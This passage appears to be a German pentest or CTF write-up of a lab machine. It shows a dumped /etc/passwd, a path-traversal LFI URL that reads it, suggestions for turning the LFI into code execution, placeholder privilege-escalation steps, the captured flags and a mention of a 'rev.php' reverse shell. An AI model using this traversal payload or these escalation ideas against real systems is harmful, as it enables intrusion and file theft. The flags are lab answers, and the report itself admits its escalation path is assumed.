systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
miwa:x:1000:1000::/home/miwa:/usr/bin/bash
void:x:1001:1001::/home/void:/bin/bash
ftp:x:103:112:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
 

**Analyse:** Die URL `http://192.168.2.107:8000/?file=....//....//....//....//etc/passwd` (mit Path Traversal im `file`-Parameter) wird aufgerufen. Die Antwort enthält den Inhalt der Datei `/etc/passwd`, eingebettet in das HTML der Seite. Dies bestätigt eine LFI-Schwachstelle in der internen Anwendung.

**Bewertung:** Kritisch. Die interne Anwendung ist anfällig für LFI. Dies ermöglicht das Lesen von Dateien, auf die der Benutzer zugreifen kann, unter dem der interne Dienst läuft (möglicherweise `void`?).

**Empfehlung (Pentester):** Nutze diese LFI, um sensible Dateien zu lesen (SSH-Keys von `void`?, Quellcode der Anwendung?). Versuche RCE über diese LFI (z.B. mit PHP-Filtern, falls es PHP ist, oder durch Einbinden von Log-Dateien/`/proc/self/environ`).
**Empfehlung (Admin):** **Dringend:** Behebe die LFI in der internen Anwendung. Sichere oder deaktiviere den Dienst.

Privilege Escalation

Hinweis: Die folgenden Schritte zur Privilegienerweiterung zum Benutzer `void` und anschließend zu `root` sind im bereitgestellten Log nicht durch konkrete Befehle dokumentiert. Es wird angenommen, dass die zuvor identifizierten Schwachstellen (LFI auf Port 8000, möglicherweise weitere Enumeration) hierfür genutzt wurden.

Platzhalter für Aktionen zur Eskalation zum Benutzer `void` (Details fehlen im Log).

Platzhalter für Aktionen zur Eskalation von `void` zu `root` (Details fehlen im Log).

Auslesen der Flags nach erfolgreicher Root-Eskalation (impliziert).

                                                    Flags


                                                cat root.txt
                                        root{k7Ei4kA88gtL957yYbWdRfVJg}

                                                cat user.txt
                                        void{70zHEmM1WJL0jjm2WBorHVEQj}

**Analyse:** Nachdem (wie angenommen) Root-Rechte erlangt wurden, werden zwei Dateien ausgelesen:

• `root.txt` (vermutlich in `/root/`) enthält die Root-Flag: `root{k7Ei4kA88gtL957yYbWdRfVJg}`.
• `user.txt` (vermutlich in `/home/void/`) enthält die User-Flag (für Benutzer `void`): `void{70zHEmM1WJL0jjm2WBorHVEQj}`.

**Bewertung:** Erfolgreiches Erlangen beider Flags. Der genaue Weg zur Privilegienerweiterung von `miwa` zu `void` und `root` ist aus den Logs nicht ersichtlich, aber die LFI auf Port 8000 war der wahrscheinlichste Vektor für den nächsten Schritt nach `miwa`.

**Empfehlung (Pentester):** Test erfolgreich abgeschlossen. Dokumentiere die gefundenen Flags und die (angenommenen) Schritte zur Privilegienerweiterung.
**Empfehlung (Admin):** System ist vollständig kompromittiert. Führe eine gründliche Forensik durch, um den genauen PrivEsc-Pfad nachzuvollziehen. Setze alle vorherigen Empfehlungen um und spiele ein sauberes Backup ein oder setze das System neu auf.

Anmerkung: Der folgende `vi rev.php`-Befehl erscheint ohne Kontext und scheint nicht mit den vorherigen Aktionen zusammenzuhängen.

**Analyse:** Es wird eine Datei `rev.php` erstellt/bearbeitet und dann nach `/usr/bin` kopiert. Der Inhalt von `rev.php` ist unbekannt, aber der Name deutet auf eine Reverse Shell hin. Der Zweck dieser Aktion im Kontext des Reports ist unklar, da bereits Root-Zugriff bestand.

**Bewertung:** Unklarer Kontext, möglicherweise ein nicht abgeschlossener oder irrelevanter Schritt.

**Empfehlung (Pentester):** Überprüfe, ob dieser Schritt relevant war oder entfernt werden kann.
**Empfehlung (Admin):** Untersuche, ob verdächtige Dateien wie `rev.php` in Systemverzeichnissen existieren.